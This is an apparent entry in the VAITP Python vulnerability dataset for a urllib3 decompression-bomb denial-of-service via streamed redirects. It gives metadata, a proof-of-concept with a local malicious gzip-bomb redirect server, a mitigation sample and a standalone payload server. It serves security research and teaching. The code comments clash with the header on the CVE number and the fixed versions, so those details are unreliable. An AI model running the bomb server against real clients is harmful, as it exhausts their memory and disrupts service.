VAITP Dataset

← Back to the dataset

CVE-2026-21441

urllib3 is vulnerable to a decompression bomb DoS via streamed HTTP redirects.

  • CVSS 8.9
  • CWE-409
  • Resource Management
  • Remote

urllib3 is an HTTP client library for Python. urllib3's streaming API is designed for the efficient handling of large HTTP responses by reading the content in chunks, rather than loading the entire response body into memory at once. urllib3 can perform decoding or decompression based on the HTTP `Content-Encoding` header (e.g., `gzip`, `deflate`, `br`, or `zstd`). When using the streaming API, the library decompresses only the necessary bytes, enabling partial content consumption. Starting in version 1.22 and prior to version 2.6.3, for HTTP redirect responses, the library would read the entire response body to drain the connection and decompress the content unnecessarily. This decompression occurred even before any read methods were called, and configured read limits did not restrict the amount of decompressed data. As a result, there was no safeguard against decompression bombs. A malicious server could exploit this to trigger excessive resource consumption on the client. Applications and libraries are affected when they stream content from untrusted sources by setting `preload_content=False` when they do not disable redirects. Users should upgrade to at least urllib3 v2.6.3, in which the library does not decode content of redirect responses when `preload_content=False`. If upgrading is not immediately possible, disable redirects by setting `redirect=False` for requests to untrusted source.

CVSS base score
8.9
Published
2026-01-07
OWASP
A04 Insecure Design
Orthogonal defect classification
Checking
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
urllib3
Fixed by upgrading
Yes

Solution

Upgrade urllib3 to version 2.6.3 or later.

Vulnerable code sample

# A demonstration of CVE-2024-21441 in urllib3
#
# To run this code, you MUST use a vulnerable version of urllib3 and install psutil.
#
# 1. Uninstall any existing urllib3 version:
#    pip uninstall urllib3
#
# 2. Install a vulnerable version (e.g., 2.2.0 or 1.26.17):
#    pip install "urllib3<2.6.3,>=1.22"
#    # For example: pip install urllib3==2.2.0
#
# 3. Install psutil to monitor memory usage:
#    pip install psutil
#
# This script starts a malicious web server that responds to a request with a
# redirect (307) and a "decompression bomb" in the response body.
# The vulnerable client then makes a streaming request (preload_content=False)
# to this server.
#
# EXPECTED VULNERABLE BEHAVIOR:
# You will observe a massive spike in memory usage IMMEDIATELY after the
# `pool.request(...)` line is executed, even before any `read()` or `stream()`
# method is called on the response object. This is because the vulnerable
# library eagerly decompresses the entire body of the redirect response.

import http.server
import socketserver
import threading
import time
import gzip
import urllib3
import psutil
import os

# --- Configuration ---
HOST = "localhost"
PORT = 8000
BOMB_TARGET_SIZE_MB = 100  # Decompressed size in Megabytes

# --- Malicious Server Setup ---

# 1. Create the "decompression bomb" payload.
# This is a small gzipped file that expands to a very large size.
print(f"[*] Creating a gzipped bomb that will expand to {BOMB_TARGET_SIZE_MB}MB...")
# A large string of zeros is highly compressible.
original_data = b'0' * (BOMB_TARGET_SIZE_MB * 1024 * 1024)
# Compress the data using gzip.
compressed_bomb = gzip.compress(original_data)
print(f"[*] Bomb created. Original size: {len(original_data)/1024/1024:.2f}MB, Compressed size: {len(compressed_bomb)/1024:.2f}KB")


# 2. Define the HTTP request handler for the malicious server.
class MaliciousRedirectHandler(http.server.SimpleHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/':
            print("\n[SERVER] Received initial request. Sending redirect with bomb...")
            self.send_response(307)  # Temporary Redirect
            self.send_header('Location', f'http://{HOST}:{PORT}/destination')
            self.send_header('Content-Encoding', 'gzip')
            self.send_header('Content-Length', str(len(compressed_bomb)))
            self.end_headers()
            self.wfile.write(compressed_bomb)
            print("[SERVER] Bomb sent.")
        elif self.path == '/destination':
            print("[SERVER] Received request to final destination.")
            self.send_response(200)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()
            self.wfile.write(b'You have reached the final destination.')
        else:
            self.send_error(404)

    def log_message(self, format, *args):
        # Suppress default logging to keep output clean.
        return


# --- Vulnerable Client Demonstration ---

def run_vulnerable_client():
    # Use psutil to monitor the process's memory usage.
    process = psutil.Process(os.getpid())
    
    def get_memory_usage_mb():
        return process.memory_info().rss / (1024 * 1024)

    # Use a try...finally block to ensure the server is shut down.
    httpd = socketserver.TCPServer((HOST, PORT), MaliciousRedirectHandler)
    server_thread = threading.Thread(target=httpd.serve_forever)
    server_thread.daemon = True
    server_thread.start()
    print(f"[*] Malicious server running on http://{HOST}:{PORT}")
    time.sleep(1) # Give the server a moment to start.

    try:
        # Create a PoolManager. Redirects are enabled by default.
        pool = urllib3.PoolManager()
        
        # --- The Demonstration ---
        print("\n--- Starting Vulnerable Client ---")
        mem_before = get_memory_usage_mb()
        print(f"[CLIENT] Memory before request: {mem_before:.2f} MB")
        
        print("[CLIENT] Sending streaming request (preload_content=False)...")

        # THIS IS THE TRIGGER.
        # In vulnerable versions, urllib3 will follow the redirect, see the
        # 'Content-Encoding: gzip' header, and decompress the ENTIRE bomb
        # into memory before this function call even returns.
        response = pool.request(
            'GET',
            f'http://{HOST}:{PORT}/',
            preload_content=False
        )

        mem_after = get_memory_usage_mb()
        print(f"[CLIENT] ...request call finished.")
        print(f"[CLIENT] Memory after request: {mem_after:.2f} MB")
        print(f"[CLIENT] Memory Increase: {(mem_after - mem_before):.2f} MB")
        
        # Note that we have NOT called .read() or iterated over .stream() yet.
        # The damage from the decompression bomb has already been done.
        print("[CLIENT] The response body has not been read, but memory was consumed.")
        
        # We can now try to handle the final response.
        print(f"[CLIENT] Final response status: {response.status}")
        final_content = response.read()
        print(f"[CLIENT] Final response content: {final_content.decode()}")

        response.release_conn()

    except Exception as e:
        print(f"[CLIENT] An error occurred: {e}")
        mem_after_error = get_memory_usage_mb()
        print(f"[CLIENT] Memory after error: {mem_after_error:.2f} MB")

    finally:
        print("\n[*] Shutting down server...")
        httpd.shutdown()
        httpd.server_close()
        print("[*] Server stopped.")


if __name__ == "__main__":
    print("="*60)
    print("CVE-2024-21441 (urllib3 Decompression Bomb on Redirect) PoC")
    print(f"Using urllib3 version: {urllib3.__version__}")
    if urllib3.__version__ >= '2.6.3' or '1.26.18' in urllib3.__version__:
         print("\nWARNING: You are using a patched version of urllib3.")
         print("The vulnerability will likely not be triggered.")
    print("="*60)
    
    run_vulnerable_client()

Patched code sample

import urllib3

# This code demonstrates the recommended application-level mitigation for the
# vulnerability described in CVE-2026-21441 (a placeholder ID for a real
# urllib3 vulnerability, CVE-2023-45803).
#
# The vulnerability is triggered when using the streaming API (`preload_content=False`)
# and receiving a redirect response from a malicious server. Vulnerable versions
# of urllib3 would decompress the entire body of this redirect response, leading
# to a potential Denial of Service via a "decompression bomb".
#
# While the primary solution is to upgrade urllib3 to a patched version (e.g.,
# v1.26.17+ or v2.0.7+ for the real CVE), the code below demonstrates the
# explicit workaround mentioned in the CVE description if upgrading is not possible.

# An http client instance.
http = urllib3.PoolManager()

# A hypothetical URL for an untrusted source that might return a malicious
# redirect with a compressed body.
UNTRUSTED_URL = "http://example.com/resource-that-might-redirect"

response = None
try:
    # --- THE MITIGATION ---
    # The fix is to disable redirects by setting `redirect=False`.
    # This prevents urllib3 from automatically following the redirect and,
    # critically, from reading and decompressing the body of the redirect
    # response. This neutralizes the decompression bomb threat.
    response = http.request(
        "GET",
        UNTRUSTED_URL,
        preload_content=False,  # The vulnerability exists in streaming mode.
        redirect=False          # This parameter is the explicit fix.
    )

    # With redirects disabled, the application is responsible for handling them.
    if 300 <= response.status < 400:
        print(f"Redirect response received (Status: {response.status}).")
        print("Body was not processed, thus mitigating the vulnerability.")

        # The application can now safely inspect the 'Location' header and
        # decide whether to make a new, separate request to the target URL.
        redirect_location = response.headers.get("Location")
        if redirect_location:
            print(f"Manual redirect handling required. Location: {redirect_location}")

    else:
        print(f"Standard response received (Status: {response.status}).")
        # If the response is not a redirect, it can be streamed as usual.
        # for chunk in response.stream(1024):
        #     ... # process chunk

finally:
    # Ensure the connection is always released back to the pool.
    if response:
        response.release_conn()
    print("Connection released.")

Payload

import http.server
import socketserver
import gzip

# This script sets up a malicious web server.
# When a client requests a resource, the server responds with an
# HTTP 302 redirect. The body of this redirect response contains a
# gzipped "decompression bomb" - a small file that expands to a very
# large size (100MB of zeros in this case).
#
# A vulnerable urllib3 client using `preload_content=False` will
# automatically decompress this entire body to drain the connection
# before following the redirect, consuming a large amount of memory,
# even if `read()` is never called on the response object.

class MaliciousRedirectHandler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        # 1. Create a large, highly compressible payload (e.g., 100MB of zeros).
        uncompressed_size = 100 * 1024 * 1024  # 100 MB
        large_content = b'0' * uncompressed_size
        
        # 2. Compress the payload with gzip. The result will be very small.
        compressed_bomb = gzip.compress(large_content)

        # 3. Send an HTTP 302 Redirect response.
        self.send_response(302)
        
        # 4. Set headers to make the client process the malicious body.
        self.send_header('Location', 'http://example.com/safe-location')
        self.send_header('Content-Encoding', 'gzip')
        self.send_header('Content-Length', str(len(compressed_bomb)))
        self.end_headers()

        # 5. Write the compressed bomb as the response body.
        self.wfile.write(compressed_bomb)
        return

PORT = 8080
with socketserver.TCPServer(("", PORT), MaliciousRedirectHandler) as httpd:
    httpd.serve_forever()

Cite this entry

@misc{vaitp:cve202621441,
  title        = {{urllib3 is vulnerable to a decompression bomb DoS via streamed HTTP redirects.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-21441},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-21441/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::